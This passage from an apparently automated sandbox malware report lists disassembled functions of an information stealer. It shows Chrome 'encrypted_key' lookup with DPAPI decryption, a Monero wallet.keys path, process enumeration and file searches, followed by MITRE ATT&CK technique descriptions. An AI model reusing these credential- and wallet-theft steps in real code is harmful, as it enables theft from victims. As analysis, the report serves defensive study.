s], xrefs: 005D72AE, 005D7179, 005D717C
s], xrefs: 005D7111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 005D718C

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s]$s]$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-79662556
Opcode ID: acc53cb92fd8a896692dd6d8bc90fc0faabb944210d189112a9562636600f46b
Instruction ID: 4c449c4a07050219db7593662a0280d460d8e904b715659e210ed965d42e847b
Opcode Fuzzy Hash: acc53cb92fd8a896692dd6d8bc90fc0faabb944210d189112a9562636600f46b
Instruction Fuzzy Hash: 9F517FB0D0421D9BDB24EB98DC89BEEBB74BF48304F1041ABE51576281EB746E88CF55

Function 005D3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 524d5c52cd914f358281ab8bc7c27993b78d4cbac2839b43e8a9fa477b62af70
Instruction ID: 7c1566e24363587143ae242cc2c0cf947069a3557b867cf1750b91e87e334c56
Opcode Fuzzy Hash: 524d5c52cd914f358281ab8bc7c27993b78d4cbac2839b43e8a9fa477b62af70
Instruction Fuzzy Hash: B4413F71D10209ABCB18EFE9D849AEEBB74FF54304F00841AE41676390EB759A45CFA2

Function 005C9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005C99EC
Part of subcall function 005C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005C9A11
Part of subcall function 005C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005C9A31
Part of subcall function 005C99C0: ReadFile.KERNEL32(000000FF,?,00000000,005C148F,00000000), ref: 005C9A5A
Part of subcall function 005C99C0: LocalFree.KERNEL32(005C148F), ref: 005C9A90
Part of subcall function 005C99C0: CloseHandle.KERNEL32(000000FF), ref: 005C9A9A

Part of subcall function 005D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005D8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005C9D39

Part of subcall function 005C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N\,00000000,00000000), ref: 005C9AEF
Part of subcall function 005C9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005C4EEE,00000000,?), ref: 005C9B01
Part of subcall function 005C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N\,00000000,00000000), ref: 005C9B2A
Part of subcall function 005C9AC0: LocalFree.KERNEL32(?,?,?,?,005C4EEE,00000000,?), ref: 005C9B3F

Part of subcall function 005C9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005C9B84
Part of subcall function 005C9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 005C9BA3
Part of subcall function 005C9B60: LocalFree.KERNEL32(?), ref: 005C9BD3

Strings

DPAPI, xrefs: 005C9D89
, xrefs: 005C9DC1
"encrypted_key":", xrefs: 005C9D30

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 2066a79e0ae30b5674a86425deeb101a789adf3cfe4c7dc12c4371a4c52d94ff
Instruction ID: fa4972eb4ed493a4e00e8d9a737d5049feea936cef9ed31795e9a7df5a1fbd49
Opcode Fuzzy Hash: 2066a79e0ae30b5674a86425deeb101a789adf3cfe4c7dc12c4371a4c52d94ff
Instruction Fuzzy Hash: A9310DB5D10209AFCB14DBE4DC89FEE7BB8BB48304F54451DE906A7241E7349A04CBA5

Function 005D8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005E05B7), ref: 005D86CA
Process32First.KERNEL32(?,00000128), ref: 005D86DE
Process32Next.KERNEL32(?,00000128), ref: 005D86F3

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

CloseHandle.KERNEL32(?), ref: 005D8761

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 65d06e653cd2d9529b9e6dfc2bd28b2e69868d9dfe1badff66d9e9fa8965f11b
Instruction ID: 9b6a3c3a55413d3da47e9e5e9f9cf832d2db3910170fa66968319208609fc313
Opcode Fuzzy Hash: 65d06e653cd2d9529b9e6dfc2bd28b2e69868d9dfe1badff66d9e9fa8965f11b
Instruction Fuzzy Hash: 51316F71901259ABCB64DF59CC45FEEBB78FB45700F10419BE509A22A0DB306E45CFA1

Function 005D7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,005E0E00,00000000,?), ref: 005D79B0
RtlAllocateHeap.NTDLL(00000000), ref: 005D79B7
GetLocalTime.KERNEL32(?,?,?,?,?,005E0E00,00000000,?), ref: 005D79C4
wsprintfA.USER32 ref: 005D79F3

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 14a525e46ae93178b3ed56cdf13eead703c0de841eb599065cacea5567a103ca
Instruction ID: 9846730ab53ca3dcb0d72e7ab2286fe2885b323e405b2cfbc7846ae7c34fa8e5
Opcode Fuzzy Hash: 14a525e46ae93178b3ed56cdf13eead703c0de841eb599065cacea5567a103ca
Instruction Fuzzy Hash: 88112AB2904218ABCB54DFD9DD45BBEBBF8FB4CB11F10411AF605A2280E2395940CBB1

Function 005DC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005DC74E

Part of subcall function 005DBF9F: __amsg_exit.LIBCMT ref: 005DBFAF

__getptd.LIBCMT ref: 005DC765
__amsg_exit.LIBCMT ref: 005DC773
__updatetlocinfoEx_nolock.LIBCMT ref: 005DC797

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: db74730de1725eae242100a26a0aba466b5babf038da0f7002b10cdb773b4f60
Instruction ID: 61805dfc3afc6c61c6e3b7014d167d710912378f8449244fc6e3c95d2856d329
Opcode Fuzzy Hash: db74730de1725eae242100a26a0aba466b5babf038da0f7002b10cdb773b4f60
Instruction Fuzzy Hash: A6F04932904603DAEB35BBBC984AB4A3FA1BF80721F21414BF444AA3D2DB646941DA56

Function 005D4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005D8E0B

lstrcat.KERNEL32(?,00000000), ref: 005D4F7A
lstrcat.KERNEL32(?,005E1070), ref: 005D4F97
lstrcat.KERNEL32(?,014A8948), ref: 005D4FAB
lstrcat.KERNEL32(?,005E1074), ref: 005D4FBD

Part of subcall function 005D4910: wsprintfA.USER32 ref: 005D492C
Part of subcall function 005D4910: FindFirstFileA.KERNEL32(?,?), ref: 005D4943

Part of subcall function 005D4910: StrCmpCA.SHLWAPI(?,005E0FDC), ref: 005D4971
Part of subcall function 005D4910: StrCmpCA.SHLWAPI(?,005E0FE0), ref: 005D4987
Part of subcall function 005D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005D4B7D
Part of subcall function 005D4910: FindClose.KERNEL32(000000FF), ref: 005D4B92

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 58d742c6dc4aecf89a95789e7d1cfea2ad12b1d1cc9119059aaefc6b551e8e6a
Instruction ID: 9259e683ca95305a5381409ae9ddf065c6c47a6064e2564219e674f00f819477
Opcode Fuzzy Hash: 58d742c6dc4aecf89a95789e7d1cfea2ad12b1d1cc9119059aaefc6b551e8e6a
Instruction Fuzzy Hash: F8219B769003096BC7A8F7B4DC5AEED373CB794300F004559B69A52181EE7496C98F92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

